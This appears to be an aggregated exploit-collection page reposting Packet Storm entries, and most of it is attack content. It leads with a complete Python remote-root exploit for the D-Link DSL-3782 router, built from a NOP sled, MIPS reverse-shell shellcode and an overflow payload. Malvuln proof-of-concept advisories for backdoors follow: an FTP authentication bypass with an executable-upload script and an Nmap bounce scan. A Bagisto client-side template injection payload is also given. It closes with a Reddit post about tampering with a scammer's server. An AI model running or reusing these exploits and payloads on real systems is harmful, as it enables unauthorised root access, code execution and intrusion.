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Exploit Collector
D-Link DSL-3782 Pre-Authentication Remote Root

https://1.bp.blogspot.com/-3PgjWVftdQ0/WWlvP-R2mXI/AAAAAAAAIM8/iBQyafDa-iYc-AHcRZlLffBv9_pWsP_-gCLcBGAs/s1600/h30.png
D-Link DSL-3782 pre-authentication remote root exploit.

MD5 | a6737ad9475fdc7acd7e5df474362dd1

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#!/usr/bin/python2
# preauth rece for dlink dsl-3782
# found:  06.11.2021
# pwned: 18.112021 @ 19:26
# 
import sys
import urllib2 # requests
import urllib
import struct

target = 'http://192.168.0.50/index.php' # cgi-bin/ChgLang.asp'
nopsled = ""
# NOP sled (XOR $t0, $t0, $t0; as NOP is only null bytes)
for i in range(74):
nopsled += "\x41\x41\x41\x41" # 26\x40\x08\x01"
#print("nopsled len: %s" % len(nopsled))
#print(len(nopsled))
# shellcode; revshell: 272-232=?:
buf =  b""
buf += b"\x27\xbd\xff\xe0\x24\x0e\xff\xfd\x01\xc0\x20\x27\x01"
buf += b"\xc0\x28\x27\x28\x06\xff\xff\x24\x02\x10\x57\x01\x01"
buf += b"\x01\x0c\x30\x50\xff\xff\x24\x0e\xff\xef\x01\xc0\x70"
buf += b"\x27\x24\x0d\xff\xfd\x01\xa0\x68\x27\x01\xcd\x68\x04"
buf += b"\x24\x0e\x27\x0f\x01\xae\x68\x25\xaf\xad\xff\xe0\xaf"
buf += b"\xa0\xff\xe4\xaf\xa0\xff\xe8\xaf\xa0\xff\xec\x02\x10"
buf += b"\x20\x25\x24\x0e\xff\xef\x01\xc0\x30\x27\x23\xa5\xff"
buf += b"\xe0\x24\x02\x10\x49\x01\x01\x01\x0c\x02\x10\x20\x25"
buf += b"\x24\x05\x01\x01\x24\x02\x10\x4e\x01\x01\x01\x0c\x02"
buf += b"\x10\x20\x25\x28\x05\xff\xff\x28\x06\xff\xff\x24\x02"
buf += b"\x10\x48\x01\x01\x01\x0c\xaf\xa2\xff\xff\x24\x11\xff"
buf += b"\xfd\x02\x20\x88\x27\x8f\xa4\xff\xff\x02\x20\x28\x21"
buf += b"\x24\x02\x0f\xdf\x01\x01\x01\x0c\x24\x10\xff\xff\x22"
buf += b"\x31\xff\xff\x16\x30\xff\xfa\x28\x06\xff\xff\x3c\x0f"
buf += b"\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e"
buf += b"\x2f\x35\xce\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4"
buf += b"\x27\xa4\xff\xec\xaf\xa4\xff\xf8\xaf\xa0\xff\xfc\x27"
buf += b"\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01\x01\x0c"
shellcode = buf
#shellcode = ( "D" * 276 )
ret = struct.pack(">I", 0x7fff45b0) # ;] 0x7fff4528) # 0x2abccbb0) # system(); 0x2b269fcc) # SELECT... x2accefcc) #  0x123456) # 0x42424242) 
junk = "A" * 68 # 136 # 264 # (596 - len(shellcode) - len(ret)) # - len(nopsled))
###############
#payload = junk + shellcode + ret
payload = nopsled + shellcode + junk + ret 

#print(len(payload))
print(payload)

data = urllib.urlencode({'lang' : payload })

sendme = urllib2.Request(target, data ) # url=target, data=post_me)

#print(sendme)

#print "DONE"

Source:packetstormsecurity.com

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Exploit Collector
Gerdab.ir SQL Injection

Kitploit

Gerdab.ir SQL Injection

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

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Exploit Collector
Email-Worm.Win32.Deltad Insecure Permissions

https://2.bp.blogspot.com/-ZkI_NEmJcds/WWlvjl_lr_I/AAAAAAAAIQo/28S1w7dyZRc0PebCQs4RPEz7Silw5ZbpgCLcBGAs/s1600/h95.png
Email-Worm.Win32.Deltad malware suffers from an insecure permissions vulnerability.

MD5 | e869cdd78defd596d638d9f58f2601c1

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Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/33f1dc8cf5987751ac0f063601f1c324.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Email-Worm.Win32.Deltad
Vulnerability: Insecure Permissions
Description: The malware writes an .EXE with insecure permissions under c:\ drive granting change (C) permissions to the authenticated user group. Standard users can rename the executable dropped by the malware to disable it or replace it with their own executable. Then wait for a privileged user to logon to the infected machine to potentially escalate privileges.
Type: PE32
MD5: 33f1dc8cf5987751ac0f063601f1c324
Vuln ID: MVID-2021-0409
Disclosure: 11/25/2021
Exploit/PoC:
C:\WWW.DGSAP.DELTADG.COM.EXE BUILTIN\Administrators:(ID)F
NT AUTHORITY\SYSTEM:(ID)F
BUILTIN\Users:(ID)R
NT AUTHORITY\Authenticated Users:(ID)C
C:\>dir WWW.DGSAP.DELTADG.COM.EXE
Volume in drive C has no label.

Directory of C:\

11/24/2021  09:19 PM           217,347 WWW.DGSAP.DELTADG.COM.EXE
1 File(s)        217,347 bytes
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

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Exploit Collector
Bagisto 1.3.3 Client-Side Template Injection

https://1.bp.blogspot.com/-nibhxYxL_dU/WWlvdqzVqgI/AAAAAAAAIPo/_mHlQijSxHEwrD5GdeVybD20bu3Iyyg_QCLcBGAs/s1600/h8.png
Bagisto version 1.3.3 suffers from a client-side template injection vulnerability.

MD5 | ed52f29762edb761e394a046e62df9b5

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# Exploit Title: Bagisto 1.3.3 - Client-Side Template Injection
# Date: 11-25-2021
# Exploit Author: Mohamed Abdellatif Jaber
# Vendor Homepage: https://bagisto.com/en/
# Software Link: https://github.com/bagisto/bagisto
# Version: v1.3.3
# Tested on: [windows | chrome | firefox ]

Exploit :.
1- register an account and login your account
2- go to your profile and edit name , address
2- and put this payload {{constructor.constructor('alert(document.domain)')()}}
3- admin or any one view order or your profile will execute arbitrary JS-code
.

rf:https://portswigger.net/kb/issues/00200308_client-side-template-injection

Source:packetstormsecurity.com

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Exploit Collector
Backdoor.Win32.Coredoor.10.a Man-In-The-Middle

https://3.bp.blogspot.com/-w74A7gxi0bY/WWlvD06cX8I/AAAAAAAAIK4/fcu0jWNFLhIrvrv6B2He7QdGvtDQ7X4rQCLcBGAs/s1600/h131.png
Backdoor.Win32.Coredoor.10.a malware suffers from a man-in-the-middle vulnerability.

MD5 | fa160ea83052af90313700880f1f793f

Download

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/4d10cd3fa86239ade05d2b741892b1e5_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Coredoor.10.a
Vulnerability: Port Bounce Scan
Description: The malware listens on TCP port 21000. Third-party attackers who successfully logon can abuse the backdoor FTP server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you.
Type: PE32
MD5: 4d10cd3fa86239ade05d2b741892b1e5
Vuln ID: MVID-2021-0411
Dropped files: CFS.exe
Disclosure: 11/25/2021
Exploit/PoC:
nmap -n -Pn -b malvuln:malvuln@192.168.18.125:21000 -p21,22,80 192.168.18.237 -v
Starting Nmap 7.80 ( https://nmap.org ) at 2021-11-24 22:18 Pacific Standard Time
Resolved FTP bounce attack proxy to 192.168.18.125 (192.168.18.125).
Attempting connection to ftp://malvuln:malvuln@192.168.18.125:21000
Connected:220 c400s FTP Server read...
Login credentials accepted by FTP server!
Initiating Bounce Scan at 22:18
Discovered open port 80/tcp on 192.168.18.237
Completed Bounce Scan at 22:18, 2.16s elapsed (3 total ports)
Nmap scan report for 192.168.18.237
Host is up.

PORT   STATE  SERVICE
21/tcp closed ftp
22/tcp closed ssh
80/tcp open   http

Read data files from: C:\Program Files (x86)\Nmap
Nmap done: 1 IP address (1 host up) scanned in 11.30 seconds
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

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Exploit Collector
Backdoor.Win32.Coredoor.10.a Authentication Bypass / Code Execution

https://2.bp.blogspot.com/-S-N0q2XL8x8/WWlu5FDj1eI/AAAAAAAAIJA/vGskVQb_QegQZ0-UZMHSDeFJ08ju6pdGQCLcBGAs/s1600/h104.png
Backdoor.Win32.Coredoor.10.a malware suffers from bypass and code execution vulnerabilities.

MD5 | d820cb7a3b88112f83ab2190847a377b

Download

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/4d10cd3fa86239ade05d2b741892b1e5.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Coredoor.10.a
Vulnerability: Authentication Bypass RCE
Description: The malware listens on TCP port 21000. Third-party attackers who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands, this can result in remote code execution.
Type: PE32
MD5: 4d10cd3fa86239ade05d2b741892b1e5
Vuln ID: MVID-2021-0410
Dropped files: CFS.exe 
Disclosure: 11/25/2021
Exploit/PoC:
nc64.exe x.x.x.x 21000
220 c400s FTP Server read...
USER malvuln
331 Password required for malvuln.
PASS malvuln
230 User malvuln logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
CDUP
250 CWD command successful. "C:/" is current directory.
PASV
227 Entering Passive Mode (192,168,18,125,194,155).
STOR DOOM-SM
150 Opening data connection for DOOM-SM.
226 File received ok
from socket import *

MALWARE_HOST="192.168.18.125"
PORT=49819
DOOM="DOOM-SM.exe"

def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))

f = open(DOOM, "rb")
EXE = f.read()
s.send(EXE)

while EXE:
s.send(EXE)
EXE=f.read()

s.close()

print("By Malvuln");

if __name__=="__main__":
doit()
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

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Legality of messing with unsecured scammer systems?
https://www.reddit.com/r/Pentesting/comments/r36grb/legality_of_messing_with_unsecured_scammer_systems/

So... I get this scam email right... and I'm like... lets figure out what these guys are all about. So I look up the URL in browserling.com and it's some crappy template site. So I look at the email it came from, and the IP it resolves to has an open Telnet port that has a remote PowerMTA monitoring/queue management interface on it. So I decide, that the 65 emails in queue don't need to be there, and I clear the queue. Is this a bad thing?  submitted by /u/kardall (https://www.reddit.com/user/kardall)
[link] (https://www.reddit.com/r/Pentesting/comments/r36grb/legality_of_messing_with_unsecured_scammer_systems/) [comments] (https://www.reddit.com/r/Pentesting/comments/r36grb/legality_of_messing_with_unsecured_scammer_systems/)

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Hacking on Medium
“Network Security” Science-Research, November 2021 — summary from Arxiv

https://cdn-images-1.medium.com/max/2600/1*otod43w3bRwupfRuN5nmNg.jpeg
Arxiv — summary generated by Brevi Assistant

Continue reading on Medium »

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Medium

“Network Security” Science-Research, November 2021 — summary from Arxiv

Arxiv — summary generated by Brevi Assistant

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